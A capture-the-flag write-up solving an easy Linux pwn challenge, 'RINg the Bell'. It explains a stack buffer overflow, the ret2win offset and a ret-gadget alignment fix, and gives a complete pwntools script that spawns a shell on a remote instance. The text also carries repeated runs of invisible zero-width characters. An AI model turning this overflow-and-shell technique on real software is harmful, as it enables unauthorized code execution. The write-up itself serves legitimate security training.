← Back to Writeups
CUSTOMEasypwn

RINg the Bell

XESXOR9/2/20264 min read
#pwn#custom#easy#ret2win#stack_overflow#movaps_alignment_ret_gadget#linux

RINg the Bell

Platform: CACTF2026 | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: ret2win, stack_overflow, movaps_alignment_ret_gadget

Summary

Task: NO-PIE/NO-canary x86-64 ELF reads 0x60 bytes into a 0x20 stack buffer, a classic stack overflow. Solution: ret2win overflowing the saved return address into bell() which calls execl("/bin/sh"), prepending a bare ret gadget for 16-byte movaps stack alignment.

RINg the Bell — CACTF2026

Description

Rin has to distract the gate garrison. The plan is simple: ring the bell tower alarm — three short tolls, a pause, then two long ones. The pattern will draw the guards away from their posts. Ring the bell.

The bell-pattern/timing narrative is pure flavor: there is no timing or pattern-matching logic in the binary. "Ring the bell" is a literal hint — the goal is to call the bell() function, which spawns a shell (a ret2win).

Given: a 64-bit ELF executable ring_the_bell and a remote instance (154.57.164.67:32155). Goal: obtain a shell and read the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Recon

File and mitigations:

  • ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped, GCC (Ubuntu 13.3.0), GLIBC 2.34.
  • NO PIE → fixed addresses in the 0x40xxxx range.
  • NO stack canary → straightforward saved-RIP overwrite.
  • NX enabled (irrelevant here; ret2win reuses existing code).

Interesting imports: read, execl, alarm, usleep, printf, puts.

Non-stripped symbols: main, setup, info, success, fail, bell, read_num, printstr, cls, banner. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The presence of a symbol named bell in a challenge titled "RINg the Bell" strongly signals the ret2win target.

Vulnerability

Root cause in main:

  • Local buffer at rbp-0x20 → 32 (0x20) bytes, zero-initialized.
  • read(0, rbp-0x20, 0x60) reads up to 0x60 = 96 bytes into that 32-byte buffer → classic stack buffer overflow.

Offset from buffer start to the saved return address:

0x20 (buffer)  +  0x08 (saved RBP)  =  40 bytes

So 40 bytes of padding land the next 8 bytes exactly on the saved RIP. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Win path

bell() @ 0x40176d calls:

c
execl("/bin/sh", "sh", NULL);

Relevant rodata strings:

  • 0x402062 = "/bin/sh"
  • 0x40205f = "sh"

Calling bell() therefore spawns /bin/sh. This is the ret2win target.

Exploitation

Payload layout:

b"A"*40  +  p64(0x40101a)  +  p64(0x40176d)
  • b"A"*40 — padding to reach the saved return address.
  • p64(0x40101a) — a bare ret gadget (in _init). It realigns the stack to a 16-byte boundary so the SSE movaps instructions used internally by execl do not fault (#GP) on unaligned memory.
  • p64(0x40176d) — address of bell(), the win function. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Steps:

  1. Connect to the remote instance.
  2. recvuntil b"[Rin]:" (the input prompt).
  3. Send the payload + newline.
  4. main returns → aligned ret → bell() → execl("/bin/sh", ...) → shell.
  5. Interact: uid=999(ctf); the flag is at /home/ctf/flag.txt (found via find).

movaps alignment note

When the win function (or a libc call it makes, such as execl/system) uses SSE-aligned moves (movaps), RSP must be 16-byte aligned at the call boundary. A single extra saved-RIP entry offsets alignment by 8 bytes; inserting one bare ret gadget before the win address corrects it. If the shell fails to spawn on a ret2win into a libc-calling function, this alignment fix is the first thing to try. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solve script

python
#!/usr/bin/env python3
from pwn import *
import sys, time

context.arch = 'amd64'

BELL   = 0x40176d   # execl("/bin/sh","sh",NULL)
RET    = 0x40101a   # bare `ret` gadget for 16-byte movaps alignment
OFFSET = 40         # 0x20 buffer + 8 saved rbp

io = remote(sys.argv[1], int(sys.argv[2]))

payload  = b"A" * OFFSET
payload += p64(RET)
payload += p64(BELL)

io.recvuntil(b"[Rin]:", timeout=5)
io.send(payload + b"\n")

time.sleep(1)
io.send(b"cat /home/ctf/flag.txt\n")
print(io.recvrepeat(3).decode(errors='replace'))
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Run:

python3 solve.py 154.57.164.67 32155

Takeaways

Use this ret2win approach when:

  • A read/input call has a length larger than the destination stack buffer (here 0x60 into 0x20) — the read-size vs buffer-size mismatch is the tell.
  • The binary is NO PIE and NO canary, giving fixed addresses and a clean saved-RIP overwrite.
  • A non-stripped function is named after the challenge theme (bell for "ring the bell") and calls execl/system — that is your win target.
  • The shell fails to spawn on the first try: prepend a bare ret gadget to fix 16-byte movaps stack alignment before the win function. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The narrative wordplay ("ring the bell") pointed directly at the bell() function name; the bell-pattern timing story was a red herring with no code behind it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍